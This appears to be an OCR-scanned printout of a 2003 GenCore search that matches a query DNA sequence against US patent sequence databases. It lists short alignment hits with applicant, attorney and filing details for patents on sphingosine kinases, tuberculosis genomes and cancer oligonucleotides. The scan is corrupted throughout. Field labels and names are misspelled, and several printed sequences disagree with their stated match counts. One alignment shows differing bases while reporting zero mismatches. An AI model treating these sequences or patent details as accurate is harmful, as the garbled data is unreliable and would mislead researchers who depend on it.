DB 891 GCTGCTGGCCTCTTCTGCGCATG 915

RESULT 12
US-09-784-810A-3

Sequence 3, Application US/09784810A
Patent No. US20020082203A1
GENERAL INFORMATION:
APPLICANT: RASTELT, LUCA
TITLE OF INVENTION: NOVEL SPHINGOSINE KINASES AND NUCLEIC ACIDS ENCODING
FILE REFERENCE: 10716-08
CURRENT APPLICATION NUMBER: US/09/784,810A
CURRENT FILING DATE: 2001-02-14
PRIOR APPLICATION NUMBER: 60/182,360
PRIOR FILING DATE: 2000-02-14
PRIOR APPLICATION NUMBER: 60/191,261
PRIOR FILING DATE: 2000-03-22
NUMBER OF SEQ ID NOS: 29
SOFTWARE: PatentIn Ver. 2.1
SEQ ID NO 3
LENGTH: 1759
TYPE: DNA
ORGANISM: Mus musculus
US-09-784-810A-3

Query Match 1.6%; Score 25; DB 10; Length 1759;
Best Local Similarity 100.0%; Pred. No. 0.0084;
Matches 25; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

OY 1068 GCTGCTGGCCTCTTCTGCGCATG 1092
|||||

DB 1217 GCTGCTGGCCTCTTCTGCGCATG 1241

RESULT 13
US-09-918-995-26954

Sequence 26954, Application US/09918995
Publication No. US20030073623A1
GENERAL INFORMATION:
APPLICANT: Hyseq, Inc.
TITLE OF INVENTION: NOVEL NUCLEIC ACID SEQUENCES OBTAINED
FILE REFERENCE: 20411-756
CURRENT APPLICATION NUMBER: US/09/918,995
CURRENT FILING DATE: 2001-07-30
PRIOR APPLICATION NUMBER: US/09/235,076
PRIOR FILING DATE: 1999-01-20
NUMBER OF SEQ ID NOS: 38054
SOFTWARE: FastSeq for Windows version 3.0
SEQ ID NO 26954
LENGTH: 459
TYPE: DNA
ORGANISM: Homo sapiens
FEATURE:
NAME/KEY: misc-feature
LOCATION: (1)..(459)
OTHER INFORMATION: n = A,T,C or G
US-09-918-995-26954

Query Match 1.4%; Score 22; DB 9; Length 459;
Best Local Similarity 100.0%; Pred. No. 0.35;
Matches 22; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

OY 977 TGCCACGTGAGATGTTGCTGC 998
|||||
DB 295 TGCCACGTGAGATGTTGCTGC 316

RESULT 14
US-09-796-487-16

Sequence 16, Application US/09796487
Patent No. US20020042358A1
GENERAL INFORMATION:
APPLICANT: Spiegel, Sarah
TITLE OF INVENTION: Sphingosin Kinase, Cloning, Expression and Methods of Use
FILE REFERENCE: 07320001a (2033957-0001)
CURRENT APPLICATION NUMBER: US/09/796,487
CURRENT FILING DATE: 2001-03-02
PRIOR APPLICATION NUMBER: US 60/186,532
PRIOR FILING DATE: 2000-03-03
PRIOR APPLICATION NUMBER: US 09/530,868
PRIOR FILING DATE: 2000-05-05
NUMBER OF SEQ ID NOS: 17
SOFTWARE: PatentIn version 3.1
SEQ ID NO 16
LENGTH: 27
TYPE: DNA
ORGANISM: Unknown
FEATURE:
OTHER INFORMATION: Artificial sequence of sense primer sphk1-GSP4, shown in line 4
NAME/KEY: misc-feature
LOCATION: (1)..(27)
OTHER INFORMATION: Corresponding to artificial sequence of the sense primer sphk1-
US-09-796-487-16

Query Match 1.3%; Score 21; DB 10; Length 27;
Best Local Similarity 100.0%; Pred. No. 1.6;
Matches 21; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

OY 175 ATGATCCAGCGCGGCGGCC 195
|||||
DB 7 ATGATCCAGCGCGGCGGCC 27

```

RESULT 15
US-09-796-487-15/c
; Sequence 15, Application US/09796487
; Patent No. US20020042358A1
; GENERAL INFORMATION:
; APPLICANT: Spiegel, Sarah
; TITLE OF INVENTION: Sphingosin Kinase, Cloning, Expression and Methods of Use
; FILE REFERENCE: 07320001aa (2033957-0001)
; CURRENT APPLICATION NUMBER: US/09/796,487
; CURRENT FILING DATE: 2001-03-02
; PRIOR APPLICATION NUMBER: US 60/186,532
; PRIOR FILING DATE: 2000-03-03
; PRIOR APPLICATION NUMBER: US 09/530,868
; PRIOR FILING DATE: 2000-05-05
; NUMBER OF SEQ ID NOS: 17
; SOFTWARE: PatentIn version 3.1
; SEQ ID NO 15
; LENGTH: 20
; TYPE: DNA
; ORGANISM: Unknown
; FEATURE:
; OTHER INFORMATION: Artificial sequence of antisense primer hspk1-GSP, shown in line
; OTHER INFORMATION: 34, page 7.
; NAME/KEY: misc.feature
; LOCATION: (1)..(20)
; OTHER INFORMATION: Corresponding to the sequence of antisense primer hspk1-GSP3, shd
; OTHER INFORMATION: wn in line 34, page 7.
US-09-796-487-15

Query Match          1.3%; Score 20; DB 10; Length 20;
Best Local Similarity 100.0%; Pred. No. 5.3;
Matches 20; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

OY      761 CCTCTCGGCTCTGGCAGCC 780
        |||||
Db      20 CCTCTCGGCTCTGGCAGCC 1

Search completed: July 12, 2003, 18:06:39
Job time : 278 secs

```

GenCore version 5.1.6
Copyright (c) 1993 - 2003 Compugen Ltd.

OM nucleic - nucleic search, using sw model

Run on: July 12, 2003, 15:59:52 ; Search time 83 Seconds

(without alignments)
5908.146 Million cell updates/sec

Title: US-09-784-810A-1_COPY_2_1600

Perfect score: 1599

Sequence: 1 cccccggggcctctatagc.....aataaagtgcattcccaa 1599

Scoring table:

OLIGO_NUC
Gapop 60.0 , Gapext 60.0

Searched: 441362 seqs, 153338381 residues

Word size : 0

Total number of hits satisfying chosen parameters: 882724

Minimum DB seq length: 0

Maximum DB seq length: 2000000000

Post-processing: listing first 45 summaries

Database :

Issued_Patents_NA.*
1: /cgn2.6/ptodata/1/lna/5A.COMB.seq:*
2: /cgn2.6/ptodata/1/lna/5B.COMB.seq:*
3: /cgn2.6/ptodata/1/lna/6A.COMB.seq:*
4: /cgn2.6/ptodata/1/lna/6B.COMB.seq:*
5: /cgn2.6/ptodata/1/lna/PC10S.COMB.seq:*
6: /cgn2.6/ptodata/1/lna/Dacfilles1.seq:*

Pred. No. is the number of results predicted by chance to have a score greater than or equal to the score of the result being printed, and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match	Length	ID	Description
C 1	21	1.3	4403765	4 US-09-103-840A-2	Sequence 2, Appl1
C 2	21	1.3	4411529	4 US-09-103-840A-1	Sequence 1, Appl1
C 3	20	1.3	10952	1 US-08-602-036A-1	Sequence 1, Appl1
C 4	20	1.3	10952	2 US-08-502-374A-1	Sequence 1, Appl1
C 5	20	1.3	10952	2 US-08-642-407A-1	Sequence 1, Appl1
C 6	19	1.2	396	1 US-07-924-063A-4	Sequence 4, Appl1
C 7	19	1.2	4285	4 US-09-040-774-1	Sequence 1, Appl1
C 8	19	1.2	10079	2 US-08-476-866-20	Sequence 20, Appl1
C 9	18	1.1	1260	3 US-08-789-982-1	Sequence 1, Appl1
C 10	18	1.1	1722	3 US-08-691-563C-58	Sequence 58, Appl1
C 11	18	1.1	1761	3 US-08-861-747-1	Sequence 1, Appl1
C 12	18	1.1	1889	3 US-08-861-747-3	Sequence 1, Appl1
C 13	18	1.1	2081	3 US-08-935-855-21	Sequence 21, Appl1
C 14	18	1.1	2834	4 US-09-305-384-6	Sequence 5, Appl1
C 15	18	1.1	6235	4 US-09-305-384-5	Sequence 5, Appl1
C 16	18	1.1	6679	4 US-09-305-384-1	Sequence 3, Appl1
C 17	18	1.1	9704	4 US-09-814-951A-3	Sequence 3, Appl1
C 18	17	1.1	29	1 US-08-293-086-8	Sequence 8, Appl1
C 19	17	1.1	29	1 US-08-244-993-8	Sequence 8, Appl1
C 20	17	1.1	29	2 US-08-861-306-8	Sequence 8, Appl1
C 21	17	1.1	29	2 US-08-468-037A-35	Sequence 35, Appl1
C 22	17	1.1	29	2 US-08-471-973A-35	Sequence 35, Appl1
C 23	17	1.1	29	2 US-08-465-880-16	Sequence 16, Appl1
C 24	17	1.1	29	3 US-09-035-357-35	Sequence 35, Appl1
C 25	17	1.1	29	3 US-09-016-520-17	Sequence 17, Appl1
C 26	17	1.1	29	3 US-09-144-611-8	Sequence 8, Appl1
C 27	17	1.1	29	4 US-09-130-973-17	Sequence 17, Appl1

28	17	1.1	29	4	US-09-477-902-17	Sequence 17, Appl1
29	17	1.1	29	4	US-09-453-514A-8	Sequence 8, Appl1
30	17	1.1	29	4	US-09-135-202-35	Sequence 35, Appl1
31	17	1.1	29	4	US-08-802-331-16	Sequence 16, Appl1
32	17	1.1	255	3	US-09-536-094-2	Sequence 2, Appl1
33	17	1.1	255	3	US-08-806-326-6	Sequence 6, Appl1
34	17	1.1	356	4	US-08-806-326-7	Sequence 7, Appl1
35	17	1.1	356	4	US-09-536-094-3	Sequence 3, Appl1
36	17	1.1	433	1	US-08-428-733A-1	Sequence 1, Appl1
C 37	17	1.1	843	1	US-09-427-700-11	Sequence 11, Appl1
C 38	17	1.1	969	2	US-08-700-637-1	Sequence 1, Appl1
C 39	17	1.1	1008	4	US-09-134-001C-2791	Sequence 2791, Ap
C 40	17	1.1	1149	2	US-08-466-103A-3	Sequence 3, Appl1
C 41	17	1.1	1241	4	US-09-149-476-220	Sequence 220, App
C 42	17	1.1	1289	2	US-08-344-833-1	Sequence 1, Appl1
C 43	17	1.1	1398	2	US-08-896-320-2	Sequence 2, Appl1
C 44	17	1.1	1442	1	US-08-152-483B-8	Sequence 8, Appl1
C 45	17	1.1	1461	3	US-08-889-841B-7	Sequence 7, Appl1

ALIGNMENTS

```
RESULT 1
US-09-103-840A-2/c
; Sequence 2, Application US/09103840A
; Patent No. 6294328
; GENERAL INFORMATION:
; APPLICANT: FLEISCHMAN, Robert D.
; APPLICANT: WHITE, Owen R.
; APPLICANT: FRASER, Claire M.
; APPLICANT: VENTER, John C.
; TITLE OF INVENTION: DNA SEQUENCES FOR STRAIN ANALYSIS IN MYCOBACTERIUM
; FILE REFERENCE: 24366-20007.00
; CURRENT APPLICATION NUMBER: US/09/103.840A
; CURRENT FILING DATE: 1998-06-24
; NUMBER OF SEQ ID NOS: 2
; SOFTWARE: PatentIn Ver. 2.1
; SEQ ID NO 2
; LENGTH: 4403765
; TYPE: DNA
; ORGANISM: Mycobacterium tuberculosis
; FEATURE:
; OTHER INFORMATION: CCG 1551
; OTHER INFORMATION: "n" bases at various positions throughout the sequence
; US-09-103-840A-2

Query Match
Best Local Similarity 1.3%; Score 21; DB 4; Length 4403765;
Matches 21; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

QY 669 TGTGCTCAGCCTGCGCTGGG 689
Db 1033190 TGTGCTCAGCCTGCGCTGGG 1033170

RESULT 2
US-09-103-840A-1/c
; Sequence 1, Application US/09103840A
; Patent No. 6294328
; GENERAL INFORMATION:
; APPLICANT: FLEISCHMAN, Robert D.
; APPLICANT: WHITE, Owen R.
; APPLICANT: FRASER, Claire M.
; APPLICANT: VENTER, John C.
; TITLE OF INVENTION: DNA SEQUENCES FOR STRAIN ANALYSIS IN MYCOBACTERIUM
; FILE REFERENCE: 24366-20007.00
; CURRENT APPLICATION NUMBER: US/09/103.840A
; CURRENT FILING DATE: 1998-06-24
; NUMBER OF SEQ ID NOS: 2
```

SOFTWARE: Patent Ver. 2.1
SEQ ID NO 1
LENGTH: 4411529
TYPE: DNA
ORGANISM: Mycobacterium tuberculosis
OTHER INFORMATION: H37Rv
US-09-103-840A-1

Query Match 1.3%; Score 21; DB 4; Length 4411529;
Best Local Similarity 100.0%; Pred. No. 1.3;
Matches 21; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

OY 669 TGTCCTGAGCCTGGCTGGGG 689
DB 1033188 TGTGCTGAGCCTGGCTGGGG 1033168

RESULT 3
US-08-602-036A-1
Sequence 1, Application US/08602036A
Patent No. 5789248
GENERAL INFORMATION:
APPLICANT: Oeystein, Fredstad
APPLICANT: Hovig, Elvind
APPLICANT: Engebraaten, Olav
APPLICANT: Maelandmo, Gunhild H.
TITLE OF INVENTION: CAPL SPECIFIC OLIGONUCLEOTIDES AND
METHODS OF INHIBITING METASTATIC CANCER
NUMBER OF SEQUENCES: 23
CORRESPONDENCE ADDRESS:
ADDRESSEE: HALE AND DORR LLP
STREET: 60 State Street
CITY: Boston
STATE: MA
COUNTRY: United States of America
ZIP: 02109
COMPUTER READABLE FORM:
MEDIUM TYPE: Floppy disk
OPERATING SYSTEM: PC-DOS/MS-DOS
SOFTWARE: Patentin Release #1.0, Version #1.30
CURRENT APPLICATION DATA:
APPLICATION NUMBER: US/08/602,036A
FILING DATE: 16-FEB-1996
CLASSIFICATION: 514
ATTORNEY/AGENT INFORMATION:
NAME: Kerner, Ann-Louise
REGISTRATION NUMBER: 33,523
REFERENCE/DOCKET NUMBER: HYZ-039CIP
TELECOMMUNICATION INFORMATION:
TELEPHONE: (617) 526-6000
TELEFAX: (617) 526-5000
INFORMATION FOR SEQ ID NO: 1:
SEQUENCE CHARACTERISTICS:
LENGTH: 10952 base pairs
TYPE: nucleic acid
STRANDEDNESS: single
TOPOLOGY: linear
MOLECULE TYPE: genomic DNA
HYPOTHETICAL: NO
ANTI-SENSE: NO
US-08-602-036A-1

Query Match 1.3%; Score 20; DB 1; Length 10952;
Best Local Similarity 100.0%; Pred. No. 4.5;
Matches 20; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

OY 1424 GGAGACTCCTCTGGAGAAG 1443
DB 10557 GGAGACTCCTCTGGAGAAG 10576

RESULT 4
US-08-502-374A-1
Sequence 1, Application US/08502374A
Patent No. 5872007
GENERAL INFORMATION:
APPLICANT: Fredstad, Oeystein
APPLICANT: Hovig, Elvind
APPLICANT: Engebraaten, Olav
APPLICANT: Maelandmo, Gunhild H.
TITLE OF INVENTION: CAPL-SPECIFIC OLIGONUCLEOTIDES AND
METHODS OF INHIBITING METASTATIC CANCER
NUMBER OF SEQUENCES: 21
CORRESPONDENCE ADDRESS:
ADDRESSEE: Hale and Dorr LLP
STREET: 60 State Street
CITY: Boston
STATE: Massachusetts
COUNTRY: USA
ZIP: 02109
COMPUTER READABLE FORM:
MEDIUM TYPE: Floppy disk
OPERATING SYSTEM: PC-DOS/MS-DOS
SOFTWARE: Patentin Release #1.0, Version #1.25
CURRENT APPLICATION DATA:
APPLICATION NUMBER: US/08/502,374A
FILING DATE: 14-Jul-1995
CLASSIFICATION: 514
ATTORNEY/AGENT INFORMATION:
NAME: Kerner, Ann-Louise
REGISTRATION NUMBER: 33,523
REFERENCE/DOCKET NUMBER: HYZ-039DV2
TELECOMMUNICATION INFORMATION:
TELEPHONE: 617-526-6000
TELEFAX: 617-526-5000
INFORMATION FOR SEQ ID NO: 1:
SEQUENCE CHARACTERISTICS:
LENGTH: 10952 base pairs
TYPE: nucleic acid
STRANDEDNESS: single
TOPOLOGY: linear
MOLECULE TYPE: genomic DNA
HYPOTHETICAL: NO
ANTI-SENSE: NO
US-08-502-374A-1

Query Match 1.3%; Score 20; DB 2; Length 10952;
Best Local Similarity 100.0%; Pred. No. 4.5;
Matches 20; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

OY 1424 GGAGACTCCTCTGGAGAAG 1443
DB 10557 GGAGACTCCTCTGGAGAAG 10576

RESULT 5
US-08-642-407A-1
Sequence 1, Application US/08642407A
Patent No. 5877308
GENERAL INFORMATION:
APPLICANT: Oeystein, Fredstad
APPLICANT: Hovig, Elvind
APPLICANT: Engebraaten, Olav
APPLICANT: Maelandmo, Gunhild H.
TITLE OF INVENTION: CAPL SPECIFIC OLIGONUCLEOTIDES AND
METHODS OF INHIBITING METASTATIC CANCER
NUMBER OF SEQUENCES: 23
CORRESPONDENCE ADDRESS:
ADDRESSEE: HALE AND DORR LLP
STREET: 60 State Street
CITY: Boston

STATE: MA
COUNTRY: United States of America
ZIP: 02109
COMPUTER READABLE FORM:
MEDIUM TYPE: Floppy disk
COMPUTER: IBM PC compatible
OPERATING SYSTEM: PC-DOS/MS-DOS
SOFTWARE: Patent Release #1.0, Version #1.30
CURRENT APPLICATION DATA:
APPLICATION NUMBER: US/08/642,407A
FILING DATE: 03-May-1996
CLASSIFICATION: 514
ATTORNEY/AGENT INFORMATION:
NAME: Keirner, Ann-Louise
REGISTRATION NUMBER: 33,523
REFERENCE/DOCKET NUMBER: HTZ-039CPDV
TELEPHONE: (617) 526-6000
TELEFAX: (617) 526-5000
INFORMATION FOR SEQ ID NO: 1:
SEQUENCE CHARACTERISTICS:
LENGTH: 10952 base pairs
TYPE: nucleic acid
STRANDEDNESS: single
TOPOLOGY: linear
MOLECULE TYPE: genomic DNA
HYPOTHETICAL: NO
ANTI-SENSE: NO
US-08-642-407A-1

Query Match 1.3%; Score 20; DB 2; Length 10952;
Best Local Similarity 100.0%; Pred. No. 4.5;
Matches 20; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

QY 1424 GGAGACTCTCTGGAGAAGG 1443
|||||
DB 10557 GGAGACTCTCTGGAGAAGG 10576

RESULT 6
US-07-924-063A-4/C
Sequence 4, Application US/0924063A
Patent No. 5489514
GENERAL INFORMATION:
APPLICANT: TSUJI, SHOJI; MIYATAKE, TADASHI; UCHIDA, YOKO;
APPLICANT: IHARA, YASUO
TITLE OF INVENTION: DNA CODING FOR GROWTH-INHIBITORY FACTOR AND
TITLE OF INVENTION: USE THEREOF
NUMBER OF SEQUENCES: 8
CORRESPONDENCE ADDRESS:
ADDRESSEE: BIERMAN & MUSERLIAN
STREET: 600 THIRD AVENUE
CITY: NEW YORK
STATE: NEW YORK
COUNTRY: USA
ZIP: 10016
COMPUTER READABLE FORM:
MEDIUM TYPE: FLOPPY DISK
COMPUTER: IBM PC COMPATIBLE
OPERATING SYSTEM: PC-DOS/MS-DOS
SOFTWARE: WORDPERFECT 5.1
CURRENT APPLICATION DATA:
APPLICATION NUMBER: US/07/924,063A
FILING DATE: 19920828
CLASSIFICATION: 435
PRIOR APPLICATION DATA:
APPLICATION NUMBER: PCT/JP91/01714
FILING DATE: 13-DEC-1991
PRIOR APPLICATION DATA:
APPLICATION NUMBER: 410165/1990
FILING DATE: 13-DEC-1990
ATTORNEY/AGENT INFORMATION:
NAME: CHARLES A. MUSERLIAN

REGISTRATION NUMBER: 19,683
REFERENCE/DOCKET NUMBER: TSU-23
TELECOMMUNICATION INFORMATION:
TELEPHONE: 212-661-8000
TELEFAX: 212-661-8002
INFORMATION FOR SEQ ID NO: 4:
SEQUENCE CHARACTERISTICS:
LENGTH: 396 bp
TYPE: NUCLEIC ACID
STRANDEDNESS: Double
TOPOLOGY: Unknown
MOLECULE TYPE: CDNA
HYPOTHETICAL: NO
ORIGINAL SOURCE:
ORGANISM: human
STRAIN:
INDIVIDUAL ISOLATE:
DEVELOPMENTAL STAGE:
HAPLOTYPE:
TISSUE TYPE: brain
CELL TYPE:
CELL LINE:
ORGANELLE:
FEATURE:
NAME/KEY:
LOCATION:
IDENTIFICATION METHOD:
OTHER INFORMATION: GIF gene and flanking sequence
US-07-924-063A-4

Query Match 1.2%; Score 19; DB 1; Length 396;
Best Local Similarity 100.0%; Pred. No. 15;
Matches 19; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

QY 906 GGTGCTTCTCAGTCGACG 924
|||||
DB 268 GGTGCTTCTCAGTCGACG 250

RESULT 7
US-09-040-774-1
Sequence 1, Application US/09040774
Patent No. 6207811
GENERAL INFORMATION:
APPLICANT: Trygsvason, Karl
APPLICANT: Kestila, Marjo
APPLICANT: Leukeril, Ulla
APPLICANT: Mannikko, Minna
TITLE OF INVENTION: Nephritin Gene and Protein
NUMBER OF SEQUENCES: 6
CORRESPONDENCE ADDRESS:
ADDRESSEE: McDonnell Boehnen Hulbert & Berghoff
STREET: 300 S. Wacker Drive, Suite 3200
CITY: Chicago
STATE: IL
COUNTRY: USA
ZIP: 60606
COMPUTER READABLE FORM:
MEDIUM TYPE: Floppy disk
COMPUTER: IBM PC compatible
OPERATING SYSTEM: PC-DOS/MS-DOS
SOFTWARE: Patent Release #1.0, Version #1.30
CURRENT APPLICATION DATA:
APPLICATION NUMBER: US/09/040,774
FILING DATE: 18 MAR 1998
CLASSIFICATION: 435
ATTORNEY/AGENT INFORMATION:
NAME: Chao, Mark
REGISTRATION NUMBER: 37,293
REFERENCE/DOCKET NUMBER: 97,842
TELECOMMUNICATION INFORMATION:
TELEPHONE: (312)913-0001
TELEFAX: (312)913-0002

INFORMATION FOR SEQ ID NO: 1:

SEQUENCE CHARACTERISTICS:
LENGTH: 4285 base pairs
TYPE: nucleic acid
STRANDEDNESS: single
TOPOLOGY: not relevant
MOLECULE TYPE: cDNA
FEATURE:
NAME/KEY: sig_peptide
LOCATION: 1..56
OTHER INFORMATION: /note= "putative signal peptide"
FEATURE:
NAME/KEY: CDS
LOCATION: 1..3723
FEATURE:
NAME/KEY: mat_peptide
LOCATION: 67..3723
FEATURE:
NAME/KEY: misc_feature
LOCATION: 121..122
OTHER INFORMATION: /note= "deletion mutation"
OTHER INFORMATION: /note= "deletion mutation"
FEATURE:
NAME/KEY: misc_feature
LOCATION: 3800..3804
OTHER INFORMATION: /note= "nonsense mutation in exon"
OTHER INFORMATION: 26 FIN-Minor"
FEATURE:
NAME/KEY: misc_feature
LOCATION: 3178..3258
OTHER INFORMATION: /note= "putative transmembrane"
OTHER INFORMATION: domain"
US-09-040-774-1

Query Match 1.2%; Score 19; DB 4; Length 4285;
Best Local Similarity 100.0%; Pred. No. 14;
Matches 19; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

OY 180 TCCAGCGGGCGGCCCGG 198
|||||

DB 2067 TCCAGCGGGCGGCCCGG 2085
|||||

RESULT 8
US-08-476-866-20/c
Sequence 20, Application US/08476866
Patent No. 5994339
GENERAL INFORMATION:
APPLICANT: CRAPO, JAMES D.
APPLICANT: PRIDOVICH, IRVIN
APPLICANT: CURRY, TIM
APPLICANT: DAY, BRIAN J.
APPLICANT: FOLZ, RODNEY J.
APPLICANT: FREMAN, BROCE A.
TITLE OF INVENTION: SUPEROXIDE DISMUTASE AND MIMETICS THEREOF
NUMBER OF SEQUENCES: 24
CORRESPONDENCE ADDRESS:
ADDRESSEE: NIXON & VANDERHAYE P. C.
STREET: 1100 NORTH GLEBE ROAD
CITY: ARLINGTON
STATE: VIRGINIA
COUNTRY: U.S.A.
ZIP: 22201-4714
COMPUTER READABLE FORM:
MEDIUM TYPE: Floppy disk
OPERATING SYSTEM: PC-DOS/MS-DOS
SOFTWARE: Patent Release #1.0, Version #1.25
CURRENT APPLICATION DATA:
APPLICATION NUMBER: US/08/476, 866
FILING DATE:
CLASSIFICATION: 424
PRIOR APPLICATION DATA:

APPLICATION NUMBER: US 08/322,766
FILING DATE: 13-OCT-1994
APPLICATION NUMBER: US 08/136,207
FILING DATE: 15-OCT-1993
CLASSIFICATION: 424
ATTORNEY/AGENT INFORMATION:
NAME: WILSON, MARY J.
REGISTRATION NUMBER: 32,955
REFERENCE/DOCKET NUMBER: 1579-74
TELECOMMUNICATION INFORMATION:
TELEPHONE: (703) 816-4000
TELEFAX: (703) 816-4100
TELEX: 200797 NIXN UR
INFORMATION FOR SEQ ID NO: 20:

SEQUENCE CHARACTERISTICS:
LENGTH: 10079 base pairs
TYPE: nucleic acid
STRANDEDNESS: single
TOPOLOGY: linear
MOLECULE TYPE: DNA (genomic)
FEATURE:
NAME/KEY: CDS
LOCATION: 5086..5803
US-08-476-866-20

Query Match 1.2%; Score 19; DB 2; Length 10079;
Best Local Similarity 100.0%; Pred. No. 13;
Matches 19; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

OY 87 TAAGAGCTGAGCGAGCA 105
|||||

DB 2891 TAAGAGCTGAGCGAGCA 2873
|||||

RESULT 9
US-08-789-982-1
Sequence 1, Application US/08789982
Patent No. 6037146
GENERAL INFORMATION:
APPLICANT: Sathe, Ganesh
APPLICANT: Bergsma, Derek
TITLE OF INVENTION: CDNA CLONE HERC90 THAT ENCODES
NUMBER OF SEQUENCES: 2
CORRESPONDENCE ADDRESS:
ADDRESSEE: SmithKline Beecham Corporation
STREET: 709 Swedeland Road
CITY: King of Prussia
STATE: PA
COUNTRY: USA
ZIP: 19406
COMPUTER READABLE FORM:
MEDIUM TYPE: Diskette
OPERATING SYSTEM: DOS
SOFTWARE: FASTSEQ for Windows Version 2.0
CURRENT APPLICATION DATA:
APPLICATION NUMBER: US/08/789, 982
FILING DATE: 28-JAN-1997
CLASSIFICATION: 435
PRIOR APPLICATION DATA:
APPLICATION NUMBER:
FILING DATE:
ATTORNEY/AGENT INFORMATION:
NAME: Han, William T.
REGISTRATION NUMBER: 34,344
REFERENCE/DOCKET NUMBER: ATG50050
TELECOMMUNICATION INFORMATION:
TELEPHONE: 610-270-5219
TELEFAX: 610-270-4026
TELEX:
INFORMATION FOR SEQ ID NO: 1:
SEQUENCE CHARACTERISTICS:

LENGTH: 1260 base pairs
TYPE: nucleic acid
STRANDEDNESS: single
TOPOLOGY: linear
MOLECULE TYPE: CDNA
US-08-789-982-1

Query Match 1.1%; Score 18; DB 3; Length 1260;
Best Local Similarity 100.0%; Pred. No. 42;
Matches 18; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

OY 221 GCGTCTGCTGCTGCTGA 238
|||||
DB 260 GCGTCTGCTGCTGCTGA 277

RESULT 10
US-08-691-563C-58/C
Sequence 58, Application US/08691563C
Patent No. 6001987

GENERAL INFORMATION:
APPLICANT: HERVE PERRON
APPLICANT: FREDERIC BESEME
APPLICANT: FREDERIC BEDIN
APPLICANT: GLAUCIA PARANHOS-BACCALA
APPLICANT: FLORENCE KOMURIAN-PRADEL
APPLICANT: COLETTE JOLIVET
APPLICANT: BERNARD MANDRAND
TITLE OF INVENTION: VIRAL MATERIAL AND NUCLEOTIDE FRAGMENTS
TITLE OF INVENTION: ASSOCIATED WITH MULTIPLE SCLEROSIS, FOR DIAGNOSTIC, PROPHYLACTIC
NUMBER OF SEQUENCES: 92
CORRESPONDENCE ADDRESS:
ADDRESSEE: OLIFF & BERRIDGE
STREET: 700 South Washington Street, Suite 300
CITY: Alexandria
STATE: Virginia
COUNTRY: U.S.A.
ZIP: 22314

COMPUTER READABLE FORM:

MEDIUM TYPE: Floppy disk
COMPUTER: IBM PC compatible
OPERATING SYSTEM: PC-DOS/MS-DOS
SOFTWARE: Patent in Release #1.0, Version #1.30
CURRENT APPLICATION DATA:

APPLICATION NUMBER: US/08/691,563C
FILING DATE: 02-AUG-1996

ATTORNEY/AGENT INFORMATION:

NAME: Berridge, William P.
REGISTRATION NUMBER: 30,024
REFERENCE/DOCKET NUMBER: WPB 38588
TELECOMMUNICATION INFORMATION:
TELEPHONE: 703-836-6400

TELEFAX: 703-836-2787

INFORMATION FOR SEQ ID NO: 58:

SEQUENCE CHARACTERISTICS:

LENGTH: 1722 base pairs

TYPE: nucleotide

STRANDEDNESS: single

TOPOLOGY: linear

MOLECULE TYPE: CDNA

US-08-691-563C-58

Query Match 1.1%; Score 18; DB 3; Length 1722;

Best Local Similarity 100.0%; Pred. No. 41;

Matches 18; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

OY 1497 TCAGAGCCAGCTGCT 1514
|||||
DB 1658 TCAGAGCCAGCTGCT 1641

RESULT 11

US-08-861-747-1
Sequence 1, Application US/08861747
Patent No. 6020158

GENERAL INFORMATION:

APPLICANT: MUNROE, Donald G.

APPLICANT: VYAS, Tejal B.

TITLE OF INVENTION: A HUMAN EDG-6 RECEPTOR HOMOLOG

NUMBER OF SEQUENCES: 7

CORRESPONDENCE ADDRESS:

ADDRESSEE: NIKALDO, Marmelstein, Murray & Oram LLP

STREET: 655 15th St., NW, Suite 330 - G Street Lobby

CITY: Washington

STATE: DC

COUNTRY: USA

ZIP: 20005-5701

COMPUTER READABLE FORM:

MEDIUM TYPE: Floppy disk

COMPUTER: IBM PC compatible

OPERATING SYSTEM: PC-DOS/MS-DOS

SOFTWARE: Patent in Release #1.0, Version #1.30
CURRENT APPLICATION DATA:

APPLICATION NUMBER: US/08/861,747

FILING DATE: 22-MAY-1997

CLASSIFICATION: 536

ATTORNEY/AGENT INFORMATION:

NAME: Jahns, Kristina M.

REGISTRATION NUMBER: 41,092

REFERENCE/DOCKET NUMBER: P8074-7003

TELECOMMUNICATION INFORMATION:

TELEPHONE: (202) 638-5000

TELEFAX: (202) 638-4810

INFORMATION FOR SEQ ID NO: 1:

SEQUENCE CHARACTERISTICS:

LENGTH: 1761 base pairs

TYPE: nucleic acid

STRANDEDNESS: double

TOPOLOGY: linear

MOLECULE TYPE: CDNA

US-08-861-747-1

Query Match 1.1%; Score 18; DB 3; Length 1761;
Best Local Similarity 100.0%; Pred. No. 41;
Matches 18; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

OY 221 GCGTCTGCTGCTGCTGA 238
|||||
DB 218 GCGTCTGCTGCTGCTGA 235

RESULT 12

US-08-861-747-3

Sequence 3, Application US/08861747

Patent No. 6020158

GENERAL INFORMATION:

APPLICANT: MUNROE, Donald G.

APPLICANT: VYAS, Tejal B.

TITLE OF INVENTION: A HUMAN EDG-6 RECEPTOR HOMOLOG

NUMBER OF SEQUENCES: 7

CORRESPONDENCE ADDRESS:

ADDRESSEE: NIKALDO, Marmelstein, Murray & Oram LLP

STREET: 655 15th St., NW, Suite 330 - G Street Lobby

CITY: Washington

STATE: DC

COUNTRY: USA

ZIP: 20005-5701

COMPUTER READABLE FORM:

MEDIUM TYPE: Floppy disk

COMPUTER: IBM PC compatible

OPERATING SYSTEM: PC-DOS/MS-DOS

SOFTWARE: Patent in Release #1.0, Version #1.30
CURRENT APPLICATION DATA:

APPLICATION NUMBER: US/08/861,747

FILING DATE: 22-MAY-1997

CLASSIFICATION: 536
ATTORNEY/AGENT INFORMATION:
NAME: Jahns, Kristina M.
REGISTRATION NUMBER: 41,092
REFERENCE/DOCKET NUMBER: P8074-7003
TELECOMMUNICATION INFORMATION:
TELEPHONE: (202) 638-5000
TELEFAX: (202) 638-4810
INFORMATION FOR SEQ ID NO: 3:
